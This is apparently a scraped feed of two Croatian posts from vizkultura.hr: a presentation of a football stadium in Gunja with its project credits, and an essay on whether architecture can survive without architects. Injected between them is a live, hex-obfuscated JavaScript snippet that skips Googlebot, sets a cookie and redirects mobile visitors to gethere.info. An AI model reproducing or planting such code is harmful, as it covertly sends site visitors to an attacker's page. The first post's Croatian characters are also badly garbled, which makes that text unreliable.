seoski kontekst i lokacija graA�evine smjeA?tena u jednom zelenom ambijentu, gotovo parkovnog karaktera kojeg karakterizira drvored visokih lipa zasaA�enih uz rub A?estice paralaelno sa linijama nogometnog igraliA?ta koji stvara prirodnu kulisu gledajuA�i iz smjera stadiona prema terenu. Oblikovanje stadiona karakterizira izdizanje graA�evine iz smjera juga stvarajuA�i dojam izrastanja iz terena, svojevrsnu simbiozu arhitekture i zelenog konteksta. Izrastanje iz terena manifestira se i u doslovnom podizanju zelenila na kuA�u u vidu zelenog krova. Primijenjena je tipologija ‘stadiona na nasipu’ A?to takoA�er simboliA?ki podsjeA�a na dogaA�aj pucanja nasipa i posljediA?nu poplavu.

Na sjevernoj strani, graA�evina oblikovno zapoA?inje i zavrA?ava naglaA?enim proA?eljem odmah nasuprot glavnom pristupu. Kontraelement koji uravnoteA?uje cjelokupnu kompoziciju objekta predstavlja jednostavna, betonska streha koja prelazi u vertikalni element zida s natpisom stadiona. Oblikovanje se postiglo generiranjem izduA?enog objekta koji je stvorio svojevrsnu kulisu gledanu od strane igraliA?ta i igraA?a, A?ime je podignuta kvaliteta ambijentalnog dojma sudionicima utakmica.

A�

Objekt: Stadion Luke A�okA?eviA�a A�aljapina
Lokacija: Gunja, Hrvatska
Godina projektiranja: 2016.
Godina izgradnje: 2017.
PovrA?ina bruto: 245,0 m2
PovrA?ina neto: 205,0 m2
Namjena: sportski objekt
Investitor: Hrvatski nogometni savez
Autor: GEplus arhitekti (Gorana GiljanoviA� i Eugen PopoviA�)
Projektni tim: Gorana GiljanoviA�, Eugen PopoviA�, Lea KovaA?
Konstrukcija: StatiA?ki studio d.o.o.
Strojarske instalacije / Vodovod i kanalizacija: Perpetuo projekt d.o.o.
Elektroinstalacije: Elektroplan d.o.o.
ZOP/ZNR: Inspekting d.o.o.
Glavni izvoA�aA?: Slavonija gradnja d.o.o.
Nadzor: Projecting, Managing, Consulting d.o.o.
Ostali info: 337 sjedeA�a mjesta na tribina (104 natkrivena mjesta)

Fotografije: Robert LeA? i Marko MihaljeviA�

Kategorija PROJEKTIRANJE otvorena je za prijave vaA?ih projekata iz sfera arhitekture, ureA�enja interijera, javnih prostora i privremenih prostornih struktura, a vaA?e radove primamo na naA? mail submit@vizkultura.hrvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

The post “Stadion Luke A�okA?eviA�a A�aljapina” appeared first on vizkultura.hr.

Može li arhitektura nadživjeti arhitekte? Ako može, hoće li se i dalje zvati arhitekturom?

Nema te discipline na svijetu, nema te struke kojoj je zajamčena vječnost, rekao je jednom književnik Will Self. Dapače. Zahvaljujući razvoju tehnologije, revolucijama, ratovima, otkrićima, izumima, društvenim i gospodarskim promjenama, odumiru mnoga zanimanja, poput noćobdija, kovača, daktilografa. Možda će uskoro nestati i institucija i uloga arhitekta. Je li to dobro ili loše, praktično ili pak sumanuto, ustvari nije ni bitno – ako nešto ne postoji, to najčešće znači da za tim jednostavno više nije bilo potrebe.

Radikalno drukčija budućnost već se nazire: uz pomoć 3D printera nastaju prve stvarne kuće, u prirodnoj veličini, po cijeni od svega nekoliko tisuća dolara. Samo odaberite svoj model iz našeg opširnog kataloga i zaboravite brige, uzbuđeno poručuju futuristički reklamni materijali. Zasad oblikovno nezahtjevne, ovi su objekti zasad prototipski – pionirski eksperimenti koji zbog kašnjenja tehnologije svoje mjesto nalaze tek u spekulativnim brošurama humanitarnih organizacija (izbjeglice, nepogode) i tematskim parkovima bogatih šeika. Pa ipak, pitanje je dana kad će ova tehnologija zamijeniti tipičnu gradnju i tipična gradilišta.

Nad glavama arhitekata ne visi samo tehnologija i nadolazeća era 3D printanja. Prije par godina, izraelski dizajner Dror Benshetrit je pi-arovski provokativno izjavio da “ne morate biti arhitekt kako biste projektirali zgrade”, privukavši pažnju mnogih i izazvavši, sasvim očekivano, gnjev arhitekata. Poput nekolicine industrijskih dizajnera i umjetnika prije i poslije njega, Benshetrit je dotad već sudjelovao na brojnim arhitektonskim natječajima i projektima diljem svijeta, sasvim ravnopravno arhitektima, s više ili manje uspjeha. Činjenica da se često radilo o arhitekturi svedenoj na vizualnu dosjetku ili provokaciju, o spekulativnim projektima zgodnima za publiciranje, privlačenje investitora i skandaliziranje široke publike, ne umanjuje važnost te činjenice. Sve više se čini da je bio u pravu, da danas ne morate biti arhitekt da biste projektirali. I ne samo to, vrijedi i obratno: to što ste arhitekt, ne znači i da ćete projektirati.

Specijalizacija i gubitak kontrole

Naime, u velikim gradovima i na dinamičnim tržištima – poput američkog, recimo – sve više dolazi do jedne nove projektantske paradigme, nove raspodjele posla i specijalizacije uvjetovane prije svega logikom novca i imperativom profita. Obzirom da je arhitekturu najbitnije dobro prodati, bilo klijentu ili javnosti, projektiranje vidljivog i zavodljivog – dakle fasada ali i interijera – danas sve češće preuzimaju specijalizirani uredi. Drugim riječima, dizajneri fasada otpočetka rade na razvoju istih, dizajneri interijera od prvog dana razvijaju palete boja, rasvjetu i detalje unutrašnjih prostora, prema najnovjijim trendovima, uputama posrednika za nekretnine i zamišljenim željama budućih kupaca, stanara, klijenata. Što preostaje arhitektu? Dobro pitanje.

*Seattle Central Library, SAD (2004.) OMA/LMN / izvor: lmnarchitects.com

Zahvaljujući ovoj nametnutoj preraspodjeli posla, arhitekti će se možda konačno moći usredotočiti na ono najvažnije, na samu…arhitekturu i arhitektoniku? Njima će i dalje pripadati oblikovanje prostora i volumena, ali i razrađivanje svih onih kompleksnih, funkcionalnih (doduše često nevidljivih) detalja i sklopova. Kao u nekom vicu, arhitekt će ubuduće, kako ispada, sve više oblikovati – ono nevidljivo. Bar donekle. Ono vidljivo, izvana i iznutra, bit će prepušteno nekom drugom. Nekome tko to bolje radi, nekome tko bolje prati trendove i puls potrošača.

Otima li se na ovaj način arhitektima slađi dio projektantskog kolača ili ih se tek oslobađa brige o “zavodljivom”, površnom, fotogeničnom? Nastavi li se ovaj trend, ostaje za vidjeti koliko će arhitekata uopće pristati na takvu podjelu uloga a koliko će ih radije odšetati iz profesije. Mnogi već sad nisu zadovoljni ovakvim zakidanjem i manjkom kontrole nad projektom. Nakon Koolhaasove letargične izjave da arhitekti ionako više ne projektiraju i ne oblikuju gradove, jer za to jednostavno nemaju dovoljno moći, čini se da više ne projektiraju niti zgrade. Bar ne onako kako se to nekad podrazumijevalo.

Mood board revolucija

Kao da sve to nije bilo dovoljno: Diane Keaton, poznata holivudska glumica, krajem prošle godine izdala je knjigu The House That Pinterest Built [Kuća koju je sagradio Pinterest]. U njoj s oduševljenjem dijeli svoja iskustva projektiranja vlastitog doma bez arhitekata, pukim kolažiranjem, odnosno kopiranjem (i/ili rekonstruiranjem) i kompiliranjem fotografija brojnih interijera i detalja koje je pronašla na Pinterestu. Akumulacijom na ovaj način odabranih elemenata nastala je kuća-hibrid koja svakako plijeni pažnju, bar u formi knjige i fotografije. Fotogenično plus fotogenično rezultira – fotogeničnim.

*Iz knjige “The House That Pinterest Built” Diane Keaton (2017.) / izvor: www.onekingslane.com

Naravno, ovakvo izostavljanje arhitekata iz procesa projektiranja i kućenja nije novo, niti neuobičajeno, čak i na ovim prostorima (bespravnu gradnju da i ne spominjemo). U zadnje je vrijeme i kod nas došlo do prave eksplozije broja samozvanih – i priučenih – dizajnera i dizajnerica interijera (sve odredom zvijezda), dekoratera i “stilskih gurua”. Čitav niz škola i kurseva, portala, blogova i poglupljenih podlistaka dnevnih novina podržava ovaj trend, projekte koji se pogrešno znaju nazivati i arhitekturom, iako s njom nemaju previše veze, osim što se radi o prostorijama i prostorima. Čini se kako strpljivi, studiozni, zanatski proces projektiranja zamjenjuje sve prisutnija improvizacijska tehnika mood boarda, grabež sa švedskog stola stiliziranih detalja i komplementarnih vizuala. Čast iznimkama.

Pinterest, Instagram, Tumblr, cijeli niz društvenih mreža danas čini pristup željenom sadržaju i pretraživanje fotografija lakšim nego ikad. Ljudi diljem svijeta, amateri i profesionalci, imaju prilike vizualno komunicirati putem niza platformi, estetski kompatibilnih grupa i podgrupa, međusobno dijeleći svoje digitalno blago i trikove, na trenutke prekinuti tek kakvim vješto podmetnutim reklamnim sadržajem. “Industrial chic”, “turquoise”, “Cuban style”: željeno se pronalazi lako, nizom pretraživačkih prečica i pomodnih ključnih pojmova. Pa ipak, čak i letimično sudjelovanje u ovakvom interijerskom i arhitektonskom voajerizmu ubrzo rezultira zasićenjem sterilnim, savršeno stiliziranim i dozlaboga fotošopiranim sadržajem.

Isto i različito, dakle osrednje

Posljedično, zahvaljujući društvenim mrežama, interijeri i kuće diljem svijeta, baš poput mode i odjeće, sve više počinju izgledati – isto. Sve bolje, sve “ispeglanije”, ali isto. Prava estetska uravnilovka. Letvica se istovremeno i podiže i spušta: sve je teže vidjeti jako lošu “arhitekturu”, i sve rjeđe onu jako dobru. Nove generacije odgojene su na manje-više identičnoj vizualnoj matrici, međusobno dijeleći (share+like kultura), reciklirajući i promovirajući isti sadržaj. Tržište nekretninama slijedi istu logiku: optimizirano je tako da nudi točno ono što kupac zamišlja. “Think Different” preko noći se tako pretvorio u “Think the Same”. Svatko je na isti način drukčiji i poseban, s vlastitim iPhoneom u ruci i istim napućenim selfijima na društvenim mrežama.

Mjesta, ambijenti, kuće, pogotovo javni prostori, hoteli, restorani, barovi, sve su više isprojektirani ne za ljude (“people-ready”), nego za smartphoneove (“instagram-ready”); savršeni za fotografiranje i brzu konzumaciju, dijeljenje na internetu i to “bez filtera”. Svaki pokušaj ozbiljnog rada na ideji, arhitektonici, prostornosti, rezoluciji detalja, nekoj dubljoj vrijednosti koju nije moguće vizualno jednostavno zabilježiti i prenijeti – a kamoli objasniti – apstraktan je i stoga osuđen na dodatno objašnjavanje i gotovo sigurno nerazumijevanje. Ionako spora, arhitektura danas postaje upravo paralizirana ovakvim razvojem događaja i ovakvim razvojem digitalnog.

Bijenalni trijumf poraza

Upravo stoga je zanimljiv i pobjednički rad na upravo otvorenom 16. Bijenalu arhitekture u Veneciji. U moru paviljona koji se bore za pažnju posjetitelja, Švicarci su se predstavili jednim neobičnim i neobično suzdržanim projektom nazvanim Razgledavanje [House Tour]. Autorski tim (Alessandro Bosshard, Li Tavor, Matthew van der Ploeg, Ani Vihervaara) svoju je instalaciju zamislio kao bezličan interijer, poput onih na koje su navikli brojni švicarski podstanari, unajmljivači i kupci nekretnina: besprijekorno lakirani drveni podovi i djevičanski bijeli zidovi sa standardiziranim, “konfekcijskim” detaljima. Prostorna začudnost “Alise-u-zemlji-čudesa” potom je postignuta poigravanjem mjerilom, pod- i pre-dimenzioniranjem određenih elemenata (smanjivanjem i povećavanjem dimenzija vrata, visine prekidača i tsl.).

*Švicarski paviljon na ovogodišnjem Venecijanskom bijenalu (2018.). Autori: Alessandro Brosshard, Li Tavor, Matthew van der Ploeg, Ani Vihervaara / foto: Wilson Wooton / izvor: www.dezeen.com

Projekt je zanimljiv i stoga jer dolazi iz jedne bogate zemlje, i društva zavidne kulture. Švicarska je zemlja “prvoga svijeta”, s vrhunskim standardom – i vrhunskim budžetima za arhitektonske projekte – ali i s ogromnim tržištem nekretnina za iznajmljivanje. Tržišna je logika očigledna: (pod)stanari se u novim prostorima ne žele sresti s novim i iznenađujućim, nego s istim, i, ako je moguće, maaalčice boljim. Za iste ili manje novce, naravno.

Tu se na trenutak dotičemo i jedne opetovane, i potencijalno opasne, ideje “otvaranja arhitekture prema korisniku”. Pitanje demokratičnosti i/ili populizma u arhitekturi: zapita li se “puk”, zapita li se tržište, zapita li se “običnog čovjeka” što želi, nećemo dobiti odgovor koji bismo – kao školovani, ambiciozni i odgovorni arhitekti i kreativci – željeli čuti. Dapače. Ljudi žele ono na što su već navikli, od klasicističke arhitekture provincijalnih narodnih kazališta do oku ugodnih detalja s Pinterest boardova. Ljudi žele potvrdu i sigurnost, nostalgiju i patinu, eventualno zavist susjeda, a ne eksperiment i nesigurnost novoga. A proces projektiranja često je upravo to – neizvjesnost. Krajnji rezultat uvijek je nepoznat.

Nostalgija za sporom arhitekturom

Upravo o toj projektantskoj neizvjestnosti piše i Aaron Betsky, u svom nedavno objavljenom članku o Casi Barragán. Betsky tvrdi da danas više nije moguće projektirati poput Luisa Barragána, odnosno da danas nema arhitekata koji bi mogli projektirati kao on. Sadašnje vrijeme instantne gratifikacije i uživanja u brzom sadržaju nikako nije vrijeme za delikatnost detalja i studiranje nevidljivog. Barragánov proces bio je neizvjestan: introvertan i meditativan, aditivan i dozlaboga spor. Uz to, njegova arhitektura je nekonvencionalna, i teško prezentabilna, a tlocrti upravo dosadni. Konačno, većina onoga što ga čini velikim arhitektom teško se i da zabilježiti fotoaparatom i postom na Instagramu. Ljepota njegove kuće, Case Barragán, u njenoj je ljudskosti; u tragovima tijela na namještaju, u načinu na koji obično otvaranje malog prozora zasljepljuje posjetitelja. Dakle u fizičkom doživljaju samog prostora.

*Casa Barragan, Mexico City, Meksiko (1947.), Luis Barragán / izvor: www.pinterest.com

Ovakav poetizirani, iako sasvim humani pa i logični pristup projektiranju, danas se čini nepriuštivim luksuzom. Francuski arhitekt Laurent Beaudouin je rekao: “arhitektura je stroj za usporavanje vremena”. Unatoč tome što mnogi ulažu napor da se pošto-poto spasi “spore gradove” i “sporu prehranu” [“slow cities”, “slow food”], čini se da će to sa “sporom arhitekturom” ići puno teže, ako ne i biti sasvim nemoguće. A opet, zašto ne? Zašto na vrata ureda ne staviti upravo takvu oznaku: “Ovdje nastaje spora arhitektura. Ovdje nastaje kvalitetna, prava arhitektura”.

Arhitekti bez arhitekture

Mnogim će se čitateljima naslov ovog teksta učiniti itekako poznatim. Doista, Arhitektura bez arhitekata [Architecture Without Architects] naziv je kultne knjige Bernarda Rudofskog, izdane još davne 1964. godine. Knjiga je bila produžetkom istoimene, vrlo uspješne izložbe postavljene u njujorškoj MoMA-i iste godine, koja je ondašnjoj publici ukazala na dotad gotovo nepoznatu i svakako nedovoljno valoriziranu ljepotu vernakularne, autohtone arhitekture diljem svijeta, od Mediterana do Kine. Arhitekture “bez pedigrea”, odnosno arhitekture – bez arhitekata. Primitivne, jednostavne, funkcionalne, proizašle iz stoljećâ uspjelih i neuspjelih pokušaja, rušenja i popravaka, malih pomaka i slučajnih inovacija.

*Rashladni “hvatači vjetra”, Hyderbad, Indija. Fotografija iz knjige Bernarda Rudofskog “Architecture Without Architects” (1964.) / izvor: twitter.com 

Sam Rudofsky bio je vrlo glasan kritičar, pa i pravi protivnik moderne arhitekture. Majstorima moderne zamjerao je da su napravili jedan preozbiljan, intelektualno motiviran rez, drastično prekinuvši kontinuitet razvoja graditeljskih naslijeđa i pripadajućih im poetika. Na taj su način odbacili dobar dio onoga što je on nazivao “osjetilnim” u arhitekturi, i struku ostavili osiromašenom za mnoga znanja i vrijednosti proizašle iz spomenutih svjetskih graditeljskih tradicija. Desetljećima poslije, knjiga će pronaći svoj put do stolova mnogih studenata željnih inspiracije i “alternativnih ideja”, postavši obaveznom literaturom na početnim godinama arhitektonskih škola diljem SAD-a, ali i svijeta.

Čak i zanemarimo li na trenutak ideološke primjedbe Rudofskog, ostat će pitanje: doista, može li arhitektura PONOVNO ostati bez arhitekata, nastaviti postojati bez njih? Ako je već postojala, davno prije njihove pojave prije par stoljeća, zašto ne bi postojala i nakon njih? I je li to neizbježno? Pomalo hipijevski, u svom nedavnom članku, Sean Griffiths nagađa; znači li to da će starhitekti i velika imena polako nestati, a da će se arhitektura povući u “ilegalu”, vratiti u ruke anonimnih putujućih zanatlija koji će graditi neku čovječniju budućnost i humanije zgrade, daleko od neoliberalnih uzora?

Možda. Svakako, arhitektura jest pod svojevrsnom opsadom – možda je uvijek i bila – kako su upozorile i ovogodišnje kustosice venecijanskog Bijenala arhitekture, Shelley McNamara i Yvonne Farrell. Ne samo od strane novca i neoliberalnog tržišta, nego i od strane novih tehnologija, od strane dizajnera i nearhitekata koji žarko žele projektirati, od strane društva koje suvremenu arhitekturu ne cijeni niti razumije, od strane svih “običnih” ljudi koji sve manje vjeruju onom što arhitekti nude.

A opet, nema razloga niti za očaj, niti za pesimizam, pa čak ni za bunt: ne gasite kompjutore, ne zatvarajte urede. Ono što smo navikli nazivati arhitekturom, u užem ili širem smislu, preživjet će i ovu transformaciju, u ovom ili onom obliku. Što će nekim budućim kolegama (budu li od krvi i mesa) pisati na vizitkama ili gdje već – ustvari i nije tako bitno.

Autor teksta: Dominko Blažević / sve članke ovog autora za Vizkulturu pročitajte na linku

*Tekst je dio Vizkulturinog projekta “Vizkulturiranje društva, 2018.” koji je sufinanciran sredstvima Fonda za poticanje pluralizma i raznovrsnosti elektroničkih medija Agencije za elektroničke medije

The post Arhitektura bez arhitekata appeared first on vizkultura.hr.